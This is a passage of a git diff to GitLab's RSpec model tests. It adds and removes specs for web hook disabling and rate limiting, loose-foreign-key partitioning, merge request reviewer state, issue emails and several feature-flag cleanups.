+ context 'when environment has a blocked deployment' do
+ let!(:deployment) { create(:deployment, :blocked, environment: environment, project: project) }
+
+ it { is_expected.to eq(deployment) }
+ end
end
describe '#has_terminals?' do
diff --git a/spec/models/event_spec.rb b/spec/models/event_spec.rb
index ee27eaf1d0b..97854086162 100644
--- a/spec/models/event_spec.rb
+++ b/spec/models/event_spec.rb
@@ -706,7 +706,7 @@ RSpec.describe Event do
describe '.for_wiki_meta' do
it 'finds events for a given wiki page metadata object' do
- event = events.select(&:wiki_page?).first
+ event = events.find(&:wiki_page?)
expect(described_class.for_wiki_meta(event.target)).to contain_exactly(event)
end
diff --git a/spec/models/external_pull_request_spec.rb b/spec/models/external_pull_request_spec.rb
index bac2c369d7d..b141600c4fd 100644
--- a/spec/models/external_pull_request_spec.rb
+++ b/spec/models/external_pull_request_spec.rb
@@ -232,4 +232,8 @@ RSpec.describe ExternalPullRequest do
'with space/README.md']
end
end
+
+ it_behaves_like 'it has loose foreign keys' do
+ let(:factory_name) { :external_pull_request }
+ end
end
diff --git a/spec/models/gpg_signature_spec.rb b/spec/models/gpg_signature_spec.rb
deleted file mode 100644
index 7a1799c670e..00000000000
--- a/spec/models/gpg_signature_spec.rb
+++ /dev/null
@@ -1,126 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe GpgSignature do
- let(:commit_sha) { '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' }
- let!(:project) { create(:project, :repository, path: 'sample-project') }
- let!(:commit) { create(:commit, project: project, sha: commit_sha) }
- let(:gpg_signature) { create(:gpg_signature, commit_sha: commit_sha) }
- let(:gpg_key) { create(:gpg_key) }
- let(:gpg_key_subkey) { create(:gpg_key_subkey) }
-
- it_behaves_like 'having unique enum values'
-
- describe 'associations' do
- it { is_expected.to belong_to(:project) }
- it { is_expected.to belong_to(:gpg_key) }
- it { is_expected.to belong_to(:gpg_key_subkey) }
- end
-
- describe 'validation' do
- subject { described_class.new }
-
- it { is_expected.to validate_presence_of(:commit_sha) }
- it { is_expected.to validate_presence_of(:project_id) }
- it { is_expected.to validate_presence_of(:gpg_key_primary_keyid) }
- end
-
- describe '.safe_create!' do
- let(:attributes) do
- {
- commit_sha: commit_sha,
- project: project,
- gpg_key_primary_keyid: gpg_key.keyid
- }
- end
-
- it 'finds a signature by commit sha if it existed' do
- gpg_signature
-
- expect(described_class.safe_create!(commit_sha: commit_sha)).to eq(gpg_signature)
- end
-
- it 'creates a new signature if it was not found' do
- expect { described_class.safe_create!(attributes) }.to change { described_class.count }.by(1)
- end
-
- it 'assigns the correct attributes when creating' do
- signature = described_class.safe_create!(attributes)
-
- expect(signature.project).to eq(project)
- expect(signature.commit_sha).to eq(commit_sha)
- expect(signature.gpg_key_primary_keyid).to eq(gpg_key.keyid)
- end
-
- it 'does not raise an error in case of a race condition' do
- expect(described_class).to receive(:find_by).and_return(nil, double(described_class, persisted?: true))
-
- expect(described_class).to receive(:create).and_raise(ActiveRecord::RecordNotUnique)
- allow(described_class).to receive(:create).and_call_original
-
- described_class.safe_create!(attributes)
- end
- end
-
- describe '.by_commit_sha scope' do
- let(:gpg_key) { create(:gpg_key, key: GpgHelpers::User2.public_key) }
- let!(:another_gpg_signature) { create(:gpg_signature, gpg_key: gpg_key) }
-
- it 'returns all gpg signatures by sha' do
- expect(described_class.by_commit_sha(commit_sha)).to eq([gpg_signature])
- expect(
- described_class.by_commit_sha([commit_sha, another_gpg_signature.commit_sha])
- ).to contain_exactly(gpg_signature, another_gpg_signature)
- end
- end
-
- describe '#commit' do
- it 'fetches the commit through the project' do
- expect_next_instance_of(Project) do |instance|
- expect(instance).to receive(:commit).with(commit_sha).and_return(commit)
- end
-
- gpg_signature.commit
- end
- end
-
- describe '#gpg_key=' do
- it 'supports the assignment of a GpgKey' do
- gpg_signature = create(:gpg_signature, gpg_key: gpg_key)
-
- expect(gpg_signature.gpg_key).to be_an_instance_of(GpgKey)
- end
-
- it 'supports the assignment of a GpgKeySubkey' do
- gpg_signature = create(:gpg_signature, gpg_key: gpg_key_subkey)
-
- expect(gpg_signature.gpg_key).to be_an_instance_of(GpgKeySubkey)
- end
-
- it 'clears gpg_key and gpg_key_subkey_id when passing nil' do
- gpg_signature.update_attribute(:gpg_key, nil)
-
- expect(gpg_signature.gpg_key_id).to be_nil
- expect(gpg_signature.gpg_key_subkey_id).to be_nil
- end
- end
-
- describe '#gpg_commit' do
- context 'when commit does not exist' do
- it 'returns nil' do
- allow(gpg_signature).to receive(:commit).and_return(nil)
-
- expect(gpg_signature.gpg_commit).to be_nil
- end
- end
-
- context 'when commit exists' do
- it 'returns an instance of Gitlab::Gpg::Commit' do
- allow(gpg_signature).to receive(:commit).and_return(commit)
-
- expect(gpg_signature.gpg_commit).to be_an_instance_of(Gitlab::Gpg::Commit)
- end
- end
- end
-end
diff --git a/spec/models/group_spec.rb b/spec/models/group_spec.rb
index 735aa4df2ba..fed4ee3f3a4 100644
--- a/spec/models/group_spec.rb
+++ b/spec/models/group_spec.rb
@@ -94,34 +94,6 @@ RSpec.describe Group do
expect(group).to be_valid
end
end
-
- context 'when the feature flag `validate_namespace_parent_type` is disabled' do
- before do
- stub_feature_flags(validate_namespace_parent_type: false)
- end
-
- context 'when the group has no parent' do
- it 'allows a group to have no parent associated with it' do
- group = build(:group)
-
- expect(group).to be_valid
- end
- end
-
- context 'when the group has a parent' do
- it 'allows a group to have a namespace as its parent' do
- group = build(:group, parent: build(:namespace))
-
- expect(group).to be_valid
- end
-
- it 'allows a group to have another group as its parent' do
- group = build(:group, parent: build(:group))
-
- expect(group).to be_valid
- end
- end
- end
end
describe 'path validation' do
@@ -533,6 +505,10 @@ RSpec.describe Group do
describe '#ancestors' do
it { expect(group.ancestors.to_sql).not_to include 'traversal_ids <@' }
end
+
+ describe '#ancestors_upto' do
+ it { expect(group.ancestors_upto.to_sql).not_to include "WITH ORDINALITY" }
+ end
end
context 'linear' do
@@ -566,6 +542,10 @@ RSpec.describe Group do
end
end
+ describe '#ancestors_upto' do
+ it { expect(group.ancestors_upto.to_sql).to include "WITH ORDINALITY" }
+ end
+
context 'when project namespace exists in the group' do
let!(:project) { create(:project, group: group) }
let!(:project_namespace) { project.project_namespace }
@@ -734,7 +714,6 @@ RSpec.describe Group do
let!(:project) { create(:project, group: group) }
before do
- stub_experiments(invite_members_for_task: true)
group.add_users([create(:user)], :developer, tasks_to_be_done: %w(ci code), tasks_project_id: project.id)
end
@@ -2317,14 +2296,6 @@ RSpec.describe Group do
end
it_behaves_like 'returns the expected groups for a group and its descendants'
-
- context 'when :linear_group_including_descendants_by feature flag is disabled' do
- before do
- stub_feature_flags(linear_group_including_descendants_by: false)
- end
-
- it_behaves_like 'returns the expected groups for a group and its descendants'
- end
end
describe '.preset_root_ancestor_for' do
diff --git a/spec/models/hooks/web_hook_spec.rb b/spec/models/hooks/web_hook_spec.rb
index 59f4533a6c1..c292e78b32d 100644
--- a/spec/models/hooks/web_hook_spec.rb
+++ b/spec/models/hooks/web_hook_spec.rb
@@ -330,6 +330,20 @@ RSpec.describe WebHook do
expect { hook.backoff! }.to change(hook, :backoff_count).by(1)
end
+ context 'when the hook is permanently disabled' do
+ before do
+ allow(hook).to receive(:permanently_disabled?).and_return(true)
+ end
+
+ it 'does not set disabled_until' do
+ expect { hook.backoff! }.not_to change(hook, :disabled_until)
+ end
+
+ it 'does not increment the backoff count' do
+ expect { hook.backoff! }.not_to change(hook, :backoff_count)
+ end
+ end
+
context 'when we have backed off MAX_FAILURES times' do
before do
stub_const("#{described_class}::MAX_FAILURES", 5)
@@ -392,4 +406,77 @@ RSpec.describe WebHook do
end
end
end
+
+ describe '#temporarily_disabled?' do
+ it 'is false when not temporarily disabled' do
+ expect(hook).not_to be_temporarily_disabled
+ end
+
+ context 'when hook has been told to back off' do
+ before do
+ hook.backoff!
+ end
+
+ it 'is true' do
+ expect(hook).to be_temporarily_disabled
+ end
+
+ it 'is false when `web_hooks_disable_failed` flag is disabled' do
+ stub_feature_flags(web_hooks_disable_failed: false)
+
+ expect(hook).not_to be_temporarily_disabled
+ end
+ end
+ end
+
+ describe '#permanently_disabled?' do
+ it 'is false when not disabled' do
+ expect(hook).not_to be_permanently_disabled
+ end
+
+ context 'when hook has been disabled' do
+ before do
+ hook.disable!
+ end
+
+ it 'is true' do
+ expect(hook).to be_permanently_disabled
+ end
+
+ it 'is false when `web_hooks_disable_failed` flag is disabled' do
+ stub_feature_flags(web_hooks_disable_failed: false)
+
+ expect(hook).not_to be_permanently_disabled
+ end
+ end
+ end
+
+ describe '#rate_limited?' do
+ context 'when there are rate limits' do
+ before do
+ allow(hook).to receive(:rate_limit).and_return(3)
+ end
+
+ it 'is false when hook has not been rate limited' do
+ expect(Gitlab::ApplicationRateLimiter).to receive(:peek).and_return(false)
+ expect(hook).not_to be_rate_limited
+ end
+
+ it 'is true when hook has been rate limited' do
+ expect(Gitlab::ApplicationRateLimiter).to receive(:peek).and_return(true)
+ expect(hook).to be_rate_limited
+ end
+ end
+
+ context 'when there are no rate limits' do
+ before do
+ allow(hook).to receive(:rate_limit).and_return(nil)
+ end
+
+ it 'does not call Gitlab::ApplicationRateLimiter, and is false' do
+ expect(Gitlab::ApplicationRateLimiter).not_to receive(:peek)
+ expect(hook).not_to be_rate_limited
+ end
+ end
+ end
end
diff --git a/spec/models/incident_management/issuable_escalation_status_spec.rb b/spec/models/incident_management/issuable_escalation_status_spec.rb
index f3e7b90cf3c..c548357bd3f 100644
--- a/spec/models/incident_management/issuable_escalation_status_spec.rb
+++ b/spec/models/incident_management/issuable_escalation_status_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe IncidentManagement::IssuableEscalationStatus do
describe 'associations' do
it { is_expected.to belong_to(:issue) }
+ it { is_expected.to have_one(:project).through(:issue) }
end
describe 'validatons' do
diff --git a/spec/models/instance_configuration_spec.rb b/spec/models/instance_configuration_spec.rb
index cc0b69e3526..698d74abf03 100644
--- a/spec/models/instance_configuration_spec.rb
+++ b/spec/models/instance_configuration_spec.rb
@@ -144,6 +144,7 @@ RSpec.describe InstanceConfiguration do
create(:plan_limits,
plan: plan1,
conan_max_file_size: 1001,
+ helm_max_file_size: 1008,
maven_max_file_size: 1002,
npm_max_file_size: 1003,
nuget_max_file_size: 1004,
@@ -154,6 +155,7 @@ RSpec.describe InstanceConfiguration do
create(:plan_limits,
plan: plan2,
conan_max_file_size: 1101,
+ helm_max_file_size: 1108,
maven_max_file_size: 1102,
npm_max_file_size: 1103,
nuget_max_file_size: 1104,
@@ -166,8 +168,8 @@ RSpec.describe InstanceConfiguration do
it 'returns package file size limits' do
file_size_limits = subject.settings[:package_file_size_limits]
- expect(file_size_limits[:Plan1]).to eq({ conan: 1001, maven: 1002, npm: 1003, nuget: 1004, pypi: 1005, terraform_module: 1006, generic: 1007 })
- expect(file_size_limits[:Plan2]).to eq({ conan: 1101, maven: 1102, npm: 1103, nuget: 1104, pypi: 1105, terraform_module: 1106, generic: 1107 })
+ expect(file_size_limits[:Plan1]).to eq({ conan: 1001, helm: 1008, maven: 1002, npm: 1003, nuget: 1004, pypi: 1005, terraform_module: 1006, generic: 1007 })
+ expect(file_size_limits[:Plan2]).to eq({ conan: 1101, helm: 1108, maven: 1102, npm: 1103, nuget: 1104, pypi: 1105, terraform_module: 1106, generic: 1107 })
end
end
diff --git a/spec/models/integrations/jira_spec.rb b/spec/models/integrations/jira_spec.rb
index 1d81668f97d..9163a7ef845 100644
--- a/spec/models/integrations/jira_spec.rb
+++ b/spec/models/integrations/jira_spec.rb
@@ -863,7 +863,7 @@ RSpec.describe Integrations::Jira do
subject { jira_integration.create_cross_reference_note(jira_issue, resource, user) }
shared_examples 'handles cross-references' do
- let(:resource_name) { jira_integration.send(:noteable_name, resource) }
+ let(:resource_name) { jira_integration.send(:mentionable_name, resource) }
let(:resource_url) { jira_integration.send(:build_entity_url, resource_name, resource.to_param) }
let(:issue_url) { "#{url}/rest/api/2/issue/JIRA-123" }
let(:comment_url) { "#{issue_url}/comment" }
diff --git a/spec/models/integrations/microsoft_teams_spec.rb b/spec/models/integrations/microsoft_teams_spec.rb
index 21b9a005746..06b285a855c 100644
--- a/spec/models/integrations/microsoft_teams_spec.rb
+++ b/spec/models/integrations/microsoft_teams_spec.rb
@@ -3,6 +3,17 @@
require 'spec_helper'
RSpec.describe Integrations::MicrosoftTeams do
+ it_behaves_like "chat integration", "Microsoft Teams" do
+ let(:client) { ::MicrosoftTeams::Notifier }
+ let(:client_arguments) { webhook_url }
+
+ let(:payload) do
+ {
+ summary: be_present
+ }
+ end
+ end
+
let(:chat_integration) { described_class.new }
let(:webhook_url) { 'https://example.gitlab.com/' }
@@ -304,7 +315,7 @@ RSpec.describe Integrations::MicrosoftTeams do
context 'with protected branch' do
before do
- create(:protected_branch, project: project, name: 'a-protected-branch')
+ create(:protected_branch, :create_branch_on_repository, project: project, name: 'a-protected-branch')
end
let(:pipeline) do
diff --git a/spec/models/integrations/shimo_spec.rb b/spec/models/integrations/shimo_spec.rb
index 25df8d2b249..41f3f3c0c16 100644
--- a/spec/models/integrations/shimo_spec.rb
+++ b/spec/models/integrations/shimo_spec.rb
@@ -38,4 +38,26 @@ RSpec.describe ::Integrations::Shimo do
end
end
end
+
+ describe 'Caching has_shimo on project_settings' do
+ let(:project) { create(:project) }
+
+ subject { project.project_setting.has_shimo? }
+
+ it 'sets the property to true when integration is active' do
+ create(:shimo_integration, project: project, active: true)
+
+ is_expected.to be(true)
+ end
+
+ it 'sets the property to false when integration is not active' do
+ create(:shimo_integration, project: project, active: false)
+
+ is_expected.to be(false)
+ end
+
+ it 'creates a project_setting record if one was not already created' do
+ expect { create(:shimo_integration) }.to change(ProjectSetting, :count).by(1)
+ end
+ end
end
diff --git a/spec/models/issue/email_spec.rb b/spec/models/issue/email_spec.rb
new file mode 100644
index 00000000000..57cc7c7df66
--- /dev/null
+++ b/spec/models/issue/email_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Issue::Email do
+ describe 'Associations' do
+ it { is_expected.to belong_to(:issue) }
+ end
+
+ describe 'Validations' do
+ subject { build(:issue_email) }
+
+ it { is_expected.to validate_presence_of(:issue) }
+ it { is_expected.to validate_uniqueness_of(:issue) }
+ it { is_expected.to validate_uniqueness_of(:email_message_id) }
+ it { is_expected.to validate_length_of(:email_message_id).is_at_most(1000) }
+ it { is_expected.to validate_presence_of(:email_message_id) }
+ end
+end
diff --git a/spec/models/issue_spec.rb b/spec/models/issue_spec.rb
index ba4429451d1..4cbfa7c7758 100644
--- a/spec/models/issue_spec.rb
+++ b/spec/models/issue_spec.rb
@@ -32,6 +32,7 @@ RSpec.describe Issue do
it { is_expected.to have_and_belong_to_many(:self_managed_prometheus_alert_events) }
it { is_expected.to have_many(:prometheus_alerts) }
it { is_expected.to have_many(:issue_email_participants) }
+ it { is_expected.to have_one(:email) }
it { is_expected.to have_many(:timelogs).autosave(true) }
it { is_expected.to have_one(:incident_management_issuable_escalation_status) }
it { is_expected.to have_many(:issue_customer_relations_contacts) }
@@ -986,6 +987,7 @@ RSpec.describe Issue do
issue = build(:issue, project: project)
user = build(:user)
+ allow(::Gitlab::ExternalAuthorization).to receive(:access_allowed?).with(user, 'a-label', project.full_path).and_call_original
expect(::Gitlab::ExternalAuthorization).to receive(:access_allowed?).with(user, 'a-label') { false }
expect(issue.visible_to_user?(user)).to be_falsy
end
@@ -1019,6 +1021,7 @@ RSpec.describe Issue do
issue = build(:issue, project: project)
user = build(:admin)
+ allow(::Gitlab::ExternalAuthorization).to receive(:access_allowed?).with(user, 'a-label', project.full_path).and_call_original
expect(::Gitlab::ExternalAuthorization).to receive(:access_allowed?).with(user, 'a-label') { false }
expect(issue.visible_to_user?(user)).to be_falsy
end
@@ -1314,10 +1317,28 @@ RSpec.describe Issue do
let_it_be(:issue1) { create(:issue, project: project, relative_position: nil) }
let_it_be(:issue2) { create(:issue, project: project, relative_position: nil) }
- it_behaves_like "a class that supports relative positioning" do
- let_it_be(:project) { reusable_project }
- let(:factory) { :issue }
- let(:default_params) { { project: project } }
+ context 'when optimized_issue_neighbor_queries is enabled' do
+ before do
+ stub_feature_flags(optimized_issue_neighbor_queries: true)
+ end
+
+ it_behaves_like "a class that supports relative positioning" do
+ let_it_be(:project) { reusable_project }
+ let(:factory) { :issue }
+ let(:default_params) { { project: project } }
+ end
+ end
+
+ context 'when optimized_issue_neighbor_queries is disabled' do
+ before do
+ stub_feature_flags(optimized_issue_neighbor_queries: false)
+ end
+
+ it_behaves_like "a class that supports relative positioning" do
+ let_it_be(:project) { reusable_project }
+ let(:factory) { :issue }
+ let(:default_params) { { project: project } }
+ end
end
it 'is not blocked for repositioning by default' do
@@ -1461,7 +1482,7 @@ RSpec.describe Issue do
it 'schedules rebalancing if there is no space left' do
lhs = build_stubbed(:issue, relative_position: 99, project: project)
to_move = build(:issue, project: project)
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project_id, namespace_id)
+ expect(Issues::RebalancingWorker).to receive(:perform_async).with(nil, project_id, namespace_id)
expect { to_move.move_between(lhs, issue) }.to raise_error(RelativePositioning::NoSpaceLeft)
end
diff --git a/spec/models/lfs_objects_project_spec.rb b/spec/models/lfs_objects_project_spec.rb
index df49b60c4fa..7378beeed06 100644
--- a/spec/models/lfs_objects_project_spec.rb
+++ b/spec/models/lfs_objects_project_spec.rb
@@ -25,6 +25,28 @@ RSpec.describe LfsObjectsProject do
end
end
+ describe '#link_to_project!' do
+ it 'does not throw error when duplicate exists' do
+ subject
+
+ expect do
+ result = described_class.link_to_project!(subject.lfs_object, subject.project)
+ expect(result).to be_a(LfsObjectsProject)
+ end.not_to change { described_class.count }
+ end
+
+ it 'upserts a new entry and updates the project cache' do
+ new_project = create(:project)
+
+ allow(ProjectCacheWorker).to receive(:perform_async).and_call_original
+ expect(ProjectCacheWorker).to receive(:perform_async).with(new_project.id, [], [:lfs_objects_size])
+ expect { described_class.link_to_project!(subject.lfs_object, new_project) }
+ .to change { described_class.count }
+
+ expect(described_class.find_by(lfs_object_id: subject.lfs_object.id, project_id: new_project.id)).to be_present
+ end
+ end
+
describe '#update_project_statistics' do
it 'updates project statistics when the object is added' do
expect(ProjectCacheWorker).to receive(:perform_async)
diff --git a/spec/models/loose_foreign_keys/deleted_record_spec.rb b/spec/models/loose_foreign_keys/deleted_record_spec.rb
index cd5068bdb52..07ffff746a5 100644
--- a/spec/models/loose_foreign_keys/deleted_record_spec.rb
+++ b/spec/models/loose_foreign_keys/deleted_record_spec.rb
@@ -5,31 +5,148 @@ require 'spec_helper'
RSpec.describe LooseForeignKeys::DeletedRecord, type: :model do
let_it_be(:table) { 'public.projects' }
- let_it_be(:deleted_record_1) { described_class.create!(partition: 1, fully_qualified_table_name: table, primary_key_value: 5) }
- let_it_be(:deleted_record_2) { described_class.create!(partition: 1, fully_qualified_table_name: table, primary_key_value: 1) }
- let_it_be(:deleted_record_3) { described_class.create!(partition: 1, fully_qualified_table_name: 'public.other_table', primary_key_value: 3) }
- let_it_be(:deleted_record_4) { described_class.create!(partition: 1, fully_qualified_table_name: table, primary_key_value: 1) } # duplicate
+ describe 'class methods' do
+ let_it_be(:deleted_record_1) { described_class.create!(fully_qualified_table_name: table, primary_key_value: 5) }
+ let_it_be(:deleted_record_2) { described_class.create!(fully_qualified_table_name: table, primary_key_value: 1) }
+ let_it_be(:deleted_record_3) { described_class.create!(fully_qualified_table_name: 'public.other_table', primary_key_value: 3) }
+ let_it_be(:deleted_record_4) { described_class.create!(fully_qualified_table_name: table, primary_key_value: 1) } # duplicate
- describe '.load_batch_for_table' do
- it 'loads records and orders them by creation date' do
- records = described_class.load_batch_for_table(table, 10)
+ describe '.load_batch_for_table' do
+ it 'loads records and orders them by creation date' do
+ records = described_class.load_batch_for_table(table, 10)
- expect(records).to eq([deleted_record_1, deleted_record_2, deleted_record_4])
+ expect(records).to eq([deleted_record_1, deleted_record_2, deleted_record_4])
+ end
+
+ it 'supports configurable batch size' do
+ records = described_class.load_batch_for_table(table, 2)
+
+ expect(records).to eq([deleted_record_1, deleted_record_2])
+ end
end
- it 'supports configurable batch size' do
- records = described_class.load_batch_for_table(table, 2)
+ describe '.mark_records_processed' do
+ it 'updates all records' do
+ records = described_class.load_batch_for_table(table, 10)
+ described_class.mark_records_processed(records)
- expect(records).to eq([deleted_record_1, deleted_record_2])
+ expect(described_class.status_pending.count).to eq(1)
+ expect(described_class.status_processed.count).to eq(3)
+ end
end
end
- describe '.mark_records_processed' do
- it 'updates all records' do
- described_class.mark_records_processed([deleted_record_1, deleted_record_2, deleted_record_4])
+ describe 'sliding_list partitioning' do
+ let(:connection) { described_class.connection }
+ let(:partition_manager) { Gitlab::Database::Partitioning::PartitionManager.new(described_class) }
+
+ describe 'next_partition_if callback' do
+ let(:active_partition) { described_class.partitioning_strategy.active_partition.value }
+
+ subject(:value) { described_class.partitioning_strategy.next_partition_if.call(active_partition) }
+
+ context 'when the partition is empty' do
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when the partition has records' do
+ before do
+ described_class.create!(fully_qualified_table_name: 'public.table', primary_key_value: 1, status: :processed)
+ described_class.create!(fully_qualified_table_name: 'public.table', primary_key_value: 2, status: :pending)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when the first record of the partition is older than PARTITION_DURATION' do
+ before do
+ described_class.create!(
+ fully_qualified_table_name: 'public.table',
+ primary_key_value: 1,
+ created_at: (described_class::PARTITION_DURATION + 1.day).ago)
+
+ described_class.create!(fully_qualified_table_name: 'public.table', primary_key_value: 2)
+ end
+
+ it { is_expected.to eq(true) }
+
+ context 'when the lfk_automatic_partition_creation FF is off' do
+ before do
+ stub_feature_flags(lfk_automatic_partition_creation: false)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+ end
+ end
+
+ describe 'detach_partition_if callback' do
+ let(:active_partition) { described_class.partitioning_strategy.active_partition.value }
+
+ subject(:value) { described_class.partitioning_strategy.detach_partition_if.call(active_partition) }
+
+ context 'when the partition contains unprocessed records' do
+ before do
+ described_class.create!(fully_qualified_table_name: 'public.table', primary_key_value: 1, status: :processed)
+ described_class.create!(fully_qualified_table_name: 'public.table', primary_key_value: 2, status: :pending)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when the partition contains only processed records' do
+ before do
+ described_class.create!(fully_qualified_table_name: 'public.table', primary_key_value: 1, status: :processed)
+ described_class.create!(fully_qualified_table_name: 'public.table', primary_key_value: 2, status: :processed)
+ end
+
+ it { is_expected.to eq(true) }
+
+ context 'when the lfk_automatic_partition_dropping FF is off' do
+ before do
+ stub_feature_flags(lfk_automatic_partition_dropping: false)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+ end
+ end
+
+ describe 'the behavior of the strategy' do
+ it 'moves records to new partitions as time passes', :freeze_time do
+ # We start with partition 1
+ expect(described_class.partitioning_strategy.current_partitions.map(&:value)).to eq([1])
+
+ # it's not a day old yet so no new partitions are created
+ partition_manager.sync_partitions
+
+ expect(described_class.partitioning_strategy.current_partitions.map(&:value)).to eq([1])
+
+ # add one record so the next partition will be created
+ described_class.create!(fully_qualified_table_name: 'public.table', primary_key_value: 1)
+
+ # after traveling forward a day
+ travel(described_class::PARTITION_DURATION + 1.second)
+
+ # a new partition is created
+ partition_manager.sync_partitions
+
+ expect(described_class.partitioning_strategy.current_partitions.map(&:value)).to eq([1, 2])
+
+ # and we can insert to the new partition
+ expect { described_class.create!(fully_qualified_table_name: table, primary_key_value: 5) }.not_to raise_error
+
+ # after processing old records
+ LooseForeignKeys::DeletedRecord.for_partition(1).update_all(status: :processed)
+
+ partition_manager.sync_partitions
+
+ # the old one is removed
+ expect(described_class.partitioning_strategy.current_partitions.map(&:value)).to eq([2])
- expect(described_class.status_pending.count).to eq(1)
- expect(described_class.status_processed.count).to eq(3)
+ # and we only have the newly created partition left.
+ expect(described_class.count).to eq(1)
+ end
end
end
end
diff --git a/spec/models/member_spec.rb b/spec/models/member_spec.rb
index abff1815f1a..7ce32de6edc 100644
--- a/spec/models/member_spec.rb
+++ b/spec/models/member_spec.rb
@@ -681,8 +681,6 @@ RSpec.describe Member do
end
it 'schedules a TasksToBeDone::CreateWorker task' do
- stub_experiments(invite_members_for_task: true)
-
member_task = create(:member_task, member: member, project: member.project)
expect(TasksToBeDone::CreateWorker)
diff --git a/spec/models/merge_request/metrics_spec.rb b/spec/models/merge_request/metrics_spec.rb
index 13ff239a306..a4bdac39074 100644
--- a/spec/models/merge_request/metrics_spec.rb
+++ b/spec/models/merge_request/metrics_spec.rb
@@ -48,4 +48,10 @@ RSpec.describe MergeRequest::Metrics do
end
end
end
+
+ it_behaves_like 'cleanup by a loose foreign key' do
+ let!(:merge_request) { create(:merge_request) }
+ let!(:parent) { create(:ci_pipeline, project: merge_request.target_project) }
+ let!(:model) { merge_request.metrics.tap { |metrics| metrics.update!(pipeline: parent) } }
+ end
end
diff --git a/spec/models/merge_request_assignee_spec.rb b/spec/models/merge_request_assignee_spec.rb
index 5bb8e7184a3..58b802de8e0 100644
--- a/spec/models/merge_request_assignee_spec.rb
+++ b/spec/models/merge_request_assignee_spec.rb
@@ -3,9 +3,10 @@
require 'spec_helper'
RSpec.describe MergeRequestAssignee do
+ let(:assignee) { create(:user) }
let(:merge_request) { create(:merge_request) }
- subject { merge_request.merge_request_assignees.build(assignee: create(:user)) }
+ subject { merge_request.merge_request_assignees.build(assignee: assignee) }
describe 'associations' do
it { is_expected.to belong_to(:merge_request).class_name('MergeRequest') }
@@ -41,4 +42,13 @@ RSpec.describe MergeRequestAssignee do
it_behaves_like 'having unique enum values'
it_behaves_like 'having reviewer state'
+
+ describe 'syncs to reviewer state' do
+ before do
+ reviewer = merge_request.merge_request_reviewers.build(reviewer: assignee)
+ reviewer.update!(state: :reviewed)
+ end
+
+ it { is_expected.to have_attributes(state: 'reviewed') }
+ end
end
diff --git a/spec/models/merge_request_reviewer_spec.rb b/spec/models/merge_request_reviewer_spec.rb
index d69d60c94f0..d99fd4afb0f 100644
--- a/spec/models/merge_request_reviewer_spec.rb
+++ b/spec/models/merge_request_reviewer_spec.rb
@@ -3,14 +3,24 @@
require 'spec_helper'
RSpec.describe MergeRequestReviewer do
+ let(:reviewer) { create(:user) }
let(:merge_request) { create(:merge_request) }
- subject { merge_request.merge_request_reviewers.build(reviewer: create(:user)) }
+ subject { merge_request.merge_request_reviewers.build(reviewer: reviewer) }
it_behaves_like 'having unique enum values'
it_behaves_like 'having reviewer state'
+ describe 'syncs to assignee state' do
+ before do
+ assignee = merge_request.merge_request_assignees.build(assignee: reviewer)
+ assignee.update!(state: :reviewed)
+ end
+
+ it { is_expected.to have_attributes(state: 'reviewed') }
+ end
+
describe 'associations' do
it { is_expected.to belong_to(:merge_request).class_name('MergeRequest') }
it { is_expected.to belong_to(:reviewer).class_name('User').inverse_of(:merge_request_reviewers) }
diff --git a/spec/models/merge_request_spec.rb b/spec/models/merge_request_spec.rb
index 5618fb06157..e1db1b3cf3e 100644
--- a/spec/models/merge_request_spec.rb
+++ b/spec/models/merge_request_spec.rb
@@ -178,6 +178,13 @@ RSpec.describe MergeRequest, factory_default: :keep do
it 'returns the merge request title' do
expect(subject.default_squash_commit_message).to eq(subject.title)
end
+
+ it 'uses template from target project' do
+ subject.target_project.squash_commit_template = 'Squashed branch %{source_branch} into %{target_branch}'
+
+ expect(subject.default_squash_commit_message)
+ .to eq('Squashed branch master into feature')
+ end
end
describe 'modules' do
@@ -1132,7 +1139,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
it 'returns the correct overflow count' do
- allow(Commit).to receive(:max_diff_options).and_return(max_files: 2)
+ allow(Commit).to receive(:diff_max_files).and_return(2)
set_compare(merge_request)
expect(merge_request.diff_size).to eq('2+')
@@ -1641,6 +1648,9 @@ RSpec.describe MergeRequest, factory_default: :keep do
it 'uses template from target project' do
request = build(:merge_request, title: 'Fix everything')
+ request.compare_commits = [
+ double(safe_message: 'Commit message', gitaly_commit?: true, merge_commit?: false, description?: false)
+ ]
subject.target_project.merge_commit_template = '%{title}'
expect(request.default_merge_commit_message)
@@ -3953,7 +3963,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
create_build(source_pipeline, 60.2, 'test:1')
create_build(target_pipeline, 50, 'test:2')
- expect(merge_request.pipeline_coverage_delta).to eq('10.20')
+ expect(merge_request.pipeline_coverage_delta).to be_within(0.001).of(10.2)
end
end
@@ -5032,4 +5042,8 @@ RSpec.describe MergeRequest, factory_default: :keep do
expect(described_class.from_fork).to eq([fork_mr])
end
end
+
+ it_behaves_like 'it has loose foreign keys' do
+ let(:factory_name) { :merge_request }
+ end
end
diff --git a/spec/models/namespace/traversal_hierarchy_spec.rb b/spec/models/namespace/traversal_hierarchy_spec.rb
index d7b0ee888c0..51932ab943c 100644
--- a/spec/models/namespace/traversal_hierarchy_spec.rb
+++ b/spec/models/namespace/traversal_hierarchy_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe Namespace::TraversalHierarchy, type: :model do
end
context 'with group outside of hierarchy' do
- let(:group) { create(:namespace) }
+ let(:group) { create(:group) }
it { expect(hierarchy.root).not_to eq root }
end
diff --git a/spec/models/namespace_spec.rb b/spec/models/namespace_spec.rb
index 8f5860c799c..54327fc70d9 100644
--- a/spec/models/namespace_spec.rb
+++ b/spec/models/namespace_spec.rb
@@ -107,34 +107,6 @@ RSpec.describe Namespace do
end
end
end
-
- context 'when the feature flag `validate_namespace_parent_type` is disabled' do
- before do
- stub_feature_flags(validate_namespace_parent_type: false)
- end
-
- context 'when the namespace has no parent' do
- it 'allows a namespace to have no parent associated with it' do
